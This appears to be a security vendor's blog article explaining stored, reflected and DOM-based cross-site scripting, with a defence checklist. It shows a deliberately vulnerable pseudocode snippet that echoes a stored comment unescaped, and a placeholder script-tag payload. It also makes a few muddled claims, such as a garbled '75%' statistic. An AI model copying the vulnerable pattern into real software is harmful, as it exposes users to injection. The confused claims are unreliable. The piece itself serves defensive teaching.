Cross Site Scripting Attack - What Is It, How It Works, How to Prevent

A Cross Site Scripting Attack Is One of the Common Website Attacks That’s Mentioned in OWASP Top 10 Security Threats

Though these increasing dynamic sites offer many good things, there’s the opposite ugly side too. For instance, these dynamic websites also become a good platform for hackers to try their hands by injecting malicious and harmful code. Many website owners lose money and their reputation. Among several such vulnerabilities and attack, one is Cross Site Scripting (XSS) that’s carried out more than 75% every year.

Nevertheless, if you’re wondering what a cross site scripting attack is and how to prevent it – here we are going to discuss cross site scripting attacks.

What is a Cross Site Scripting Attack?

Cross-site scripting is a type of injection attack that dates back to the early days of the World Wide Web (WWW) and a time when eCommerce just began to gain popularity in the bubble days of Yahoo and Netscape. A cross site scripting (XSS) attack is a security vulnerability that’s usually found in web applications. It’s one of the common vulnerabilities that allows hackers to inject code into the output application of a web page that’s further sent to the site visitor’s web browser. The injected code automatically executes malicious functions, such as stealing sensitive information through the visitor’s input.

what is cross site scripting and working

In other words, cross-site scripting (XSS) is a type of code injection attack that targets web applications for delivering malicious client-side scripts to the user’s browser for execution. In this attack, victims are not attacked directly. Instead, vulnerable sites and web applications are used as vehicles to carry out cross-site scripting attacks when users interact with sites or applications.

An XSS attack is one of the Top 10 OWASP listed attacks that deface a website rather than target the user. For instance, the attacker can inject scripts that change the website content or redirect users to another webpage containing malicious code. This cross-site scripting attack is commonly made using JavaScript as it’s fundamental for smooth browsing experiences. It can also be carried out using Flash, ActiveX, VBScript, and sometimes through CSS.

XSS attacks are considered less dangerous compared to SQL injection vulnerabilities. However, cross site scripting in java script becomes quite hazardous.

Negative Impact of Cross Site Scripting Attacks

Once a cross-site scripting attack occurs, the web page is compromised, and a collection of different issues occur. Some possible concerns are:

The user’s critical data is exposed.
Website content presentation gets damaged.
Malicious Trojan Horse programs get uploaded.
Webpages get redirected to malicious sites.
Attackers seize accounts and impersonate themselves as an authenticated user.
If targeted to an organization and not detected and prevented within the proper time frame, you can have losses and lose clients.
Further, making a negative impact on your professional relations and reputation if any malware successfully gets injected into your company’s website.

One recent (and unfortunate) example of a cross site scripting attack that made headlines recently is about network security appliance organization F5 warning regarding a series of vulnerabilities, including cross-site scripting on its BIG-IP products. In this attack, some undisclosed endpoints in iControl REST became open to Reflected XSS attack. So, failure to patch could lead to a complete takeover of the victim’s BIG-IP system.

How a Cross Site Scripting Attack Works?

Before we get into details about how a cross site scripting attack works, let first describe the actors involved in executing an XSS attack. Usually, a cross site scripting attack involves three actors – Victim, Website, and Hacker/Attacker.

Victim: The victim is a normal internet user who lands on the website and requests pages from it through their web browser.
Website: Here, the website serves HTML pages requested by the user, for which the website asks information from the user through the form that is further stored in a database.
Attacker: An attacker is a malicious hacker who intends to launch an attack on the victim by exploiting a cross site scripting vulnerability in the targeted website. Further, the attacker also has a web server controlled by them to steal and store the victim’s critical information.

Let’s find how a cross site scripting attack works.

Usually, there are two different stages of a typical XSS attack.

Running malicious script (mostly scripted using JavaScript) in the targeted victim’s browser. For that, the attacker would first have to identify a way to inject malicious code into a webpage, and a victim would then visit that.
Another is that the victim would visit that malicious web page that contains XSS code. To make victims visit that malicious web page, attackers can use different social engineering techniques or phishing, so users get directed to that malicious URL.

For a cross site scripting attack to work, the targeted vulnerable website should directly input the user’s information into the web page. Once it is submitted, the attacker can insert a malicious code string used within that web page, where this malicious code is treated as a source code by the targeted victim’s web browser.

Below is the snippet code of server-side that displays the recent comment:

print "<html>"
print "<h1>Recent Comment</h1>"
print database.latestComment
print "</html>"

The above-mentioned script picks the latest comment from a database and formats it in an HTML webpage. Further, it prints only text and not any code or HTML tags due to which it becomes vulnerable to cross-site scripting attack.

For instance, attacker adds malicious code within comment:

And, once its inserted, the web page will be displayed with this script below:

<html>
<h1>Recent Comment</h1>
<script>doMaliciousThings();</script>
</html>

Once this infected webpage loads on a user’s computer, the malicious script inserted by the attacker activates. Usually, the victim doesn’t’ realize until it’s too late and it can’t be prevented.

An Illustration of a Cross-Site Scripting Attack That Steals Cookies

Attackers often use a cross-site scripting attack to steal cookies so that they can portray themselves as a victim. Attackers can send cookies to the server in different ways, and one of them is to execute a client-side script in the victim’s browser, which could look like:

Let’s walk through it and understand in a simplified way how this cross-site scripting attack works:

Using JavaScript, the attacker first injects malicious code into the database of the website through a vulnerable form.
The targeted user requests that infected web page from the webserver.
The victim’s browser gets loaded with an infected webpage that includes a malicious script inserted in the HTML body.
Once that infected webpages load on the visitor’s browser, the malicious script gets activated and does as instructed by that malicious script. Here, it sends the targeted user’s cookie to an attacker’s server.
Now, an attacker can only extract the victim’s cookie when the request arrives on his server.
Once the attacker extracts that stolen cookie information, they’ll be able to use it to impersonate themselves.

Types of Cross Site Scripting Vulnerabilities

Though the usual goal with a cross site scripting vulnerability is to inject and execute malicious JavaScript into the victim’s web browser, different variants help achieve the goal. This XSS attack is often divided into three different types, and they’re:

Persistent Cross Site Scripting – Here, the malicious string comes through the infected website’s database. It’s also called a second-order or stored cross site scripting attack.
Reflected Cross Site Scripting – Here, the malicious string comes through the request made by the victim.
DOM-based Cross Site Scripting – Here, the vulnerability is found within the client-side code instead of server-side codes.

Let’s discuss and illustrate each variant.

Note:

The previous example of cookie stealing illustrates persistent cross site scripting. So, we will not discuss it again and instead move forward with the other two.

Reflected Cross Site Scripting

In a reflected cross site scripting attack, the malicious string is attached with the victim’s request to the website. Here, the website includes a malicious string as a response to send back to the user. Below is the diagram illustrating the reflected cross site scripting attack.

An attacker creates a URL that consists of a malicious string and sends it further to the victim.
The victim gets deceived by that URL that is requested through the website.
The website consists of a malicious string through the URL in response.
Once that URL is added, the browser executes that inserted malicious string and sends the victim’s cookies to the attacker’s server.

Here’s How Reflected Cross Site Scripting Takes Place Successfully

At first, reflected cross-site scripting might look harmless and overlooked as the victim himself has to send a request containing a malicious string, and it’s also true that no one would attack themselves. But, there are two ways by which the victim gets duped into launching a reflected cross site scripting vulnerability against themselves.

Suppose there’s a specific victim to be targeted, such as an employee of an organization. In that case, an attacker can send a malicious URL through a bogus email or instant messaging and trick them into visiting it.
If the user targets a big group of people, an attacker can put a malicious URL on his website, social network, and forums and wait for victims to click on it.

These two methods may seem easy, but it works and becomes more successful due to URL shortening services such as bit.ly that hide the original URL from visitors that click on it.

DOM – Based Cross Site Scripting

A DOM-based cross-site scripting attack is another variant that combines both reflected and persistent cross site scripting vulnerabilities. In this third variant DOM-based cross site scripting attack, the malicious string is not passed through the victim’s web browser until its legit JavaScript is executed. Below is the diagram of what was just described:

In a DOM-based cross site scripting attack, an attacker creates and sends a URL to the victim that consists of a malicious string.
The targeted victim gets duped by an attacker, where the user clicks on that received link that requests a URL through the website.
Once the website gets a URL request through the user, the website sends a clean URL that doesn’t have any malicious string.
The victim’s browser executes that legit script within the response, which causes the malicious script to be inserted within the page.
The victim’s browser executes that malicious script inserted into the page, which executes the attack. Here, it sends the victim’s cookies to the hacker’s server.

Here’s How a DOM – Based Cross Site Scripting Attack Differs from the Other Two Variants

In persistent cross-site scripting and reflected site scripting attacks, the server inserts a malicious script into the webpage, which is later provided through a response to the targeted victim. Once the victim receives the response, including the malicious script, it’s counted as a legit part. And, without verification, it executes during page loading, similar to any other included scripts.

On the other hand, in a DOM-based cross-site scripting attack, a malicious script is not inserted within the webpage, and the script that automatically loads on the victim’s browser is the legit one. The issue arises when a legit script directly uses user input for adding HTML to the page because the malicious string is inserted into that page through innerHTML, parsed as HTML, which executes malicious script.

Put simply, the difference between the two is subtle, but it’s a major one nonetheless, and they’re:

In persistent (stored) and reflected cross site scripting attack, the malicious JavaScript executes as HTML code once the webpage loads.
In a DOM-based cross-site scripting attack, the malicious JavaScript executes after the webpage gets loaded.

Why DOM – Based Cross Site Scripting Is More Threatening Compared to Other Two

Looking at stored cross-site scripting (another name of persistent cross site scripting) and reflected cross site scripting attacks, you can say that if the server codes are free from vulnerabilities, users would be safe from such XSS attacks. Because JavaScript isn’t mandatory as the server is capable of generating all the HTML on its own.

Nevertheless, as the technology advances, the responsibility of generating HTML is shifting towards the client-side instead of the server, which means most of JavaScript is through the client-side. For instance, a page gets updated using an AJAX request without refreshing the entire web page through JavaScript.

It means there’s the threat of a cross site scripting vulnerability even if your server is secure and free from vulnerabilities because there’s no surety that the client-side is safe. It can lead to a DOM-based XSS attack without any fault of your server-side codes.

Another reason why DOM-based cross site scripting is more threatening is because the malicious string never reaches the website server, which means the server never uses a malicious JavaScript and because only the client-side codes have access to it.

Cross Site Scripting Prevention Techniques

Cross-site scripting is quite old, but cross site scripting vulnerabilities are still common on the web. Furthermore, they’re still one of the discussed topics by the OWASP (Open Web Application Security Project) on their top 10 security risk list.

There’s no single strategy or technique to lessen cross-site scripting attacks, and different web applications need different types of protection. For instance, some common cross site scripting prevention techniques are:

Avoiding HTML Tags in Inputs

Avoiding HTML tags within the form input can effectively avoid cross-site scripting attacks, especially persistent cross site scripting. Furthermore, for creating rich content without using HTML, you can make use of WYSIWYG HTML editors.

Input Validation

Implementing validation helps at a certain level because it allows only the inputs that you want. For instance, not allowing numbers in fields of first name or last name. You can also use it to reject characters or tags commonly used for cross-site scripting attacks like "<script>" tags.

Data Sanitization

Data sanitization is similar to input validation in that it can prove helpful in preventing cross site scripting attacks. Once the data gets to the web server, data sanitization is done before displaying it to other users. Many online tools help sanitize HTML code to filter any malicious code injections, including scripts of cross site vulnerabilities.

Securing Cookies

Web applications can set special rules for handling cookies that can lessen the stealing of cookies through attacks such as cross site scripting vulnerabilities. Furthermore, some other steps you can take include the tying of specific IP addresses with cookies, so cross-site attackers can’t access them, and implement rules that block JavaScript from accessing cookies as well.

Applying WAF Rules

A Web Application Firewall (WAF) rule can minimize cross-site scripting attacks – especially reflected cross-site scripting attacks. It enforces rules and strategies that block unknown and strange requests to the server that protect you from XSS attacks and many others, such as SQL injection or DDoS attacks.

Applying CSP (Content Security Policy)

CSP (Content Security Policy) is a mechanism that’s like an added layer of security aimed to detect and lessen certain types of online attacks that includes data injection attacks and Cross Site Scripting attacks. It helps with reducing or eliminating vectors due to which XSS takes place.

Regular Scanning

There’s the possibility of an XSS attack being introduced through your developer or by external modules, libraries, or software. It’s suggested that you regularly scan your web applications using a website vulnerability scanner, such as HackerGuardian, provided by respected CA (like Sectigo) that can perform more than 30K types of tests to ensure your site is protected against such attacks.

Wrapping Up

The cross site scripting attacks are quite common these days, mainly due to their simple technique, and results also appear quite easily as well. However, with a little thoughtful design and testing of your website or web application, your website or web application can avoid being vulnerable to such cross-site scripting attacks.

Now that you’ve got an understanding about cross site scripting vulnerabilities. You should also be aware that these XSS attacks can occur in different forms, and the ways to prevent them can be even more complex based upon your website or web application.

However, you should have no problem going through the prevention steps discussed here to protect your applications as much as possible. Lastly, by going through this cross-site scripting blog, you’ll get an idea about the three types of cross site scripting, how it works, and cross-site scripting prevention techniques. Good luck!

Cross Site Scripting Attack – What Is It, How Does It Works & How to Prevent It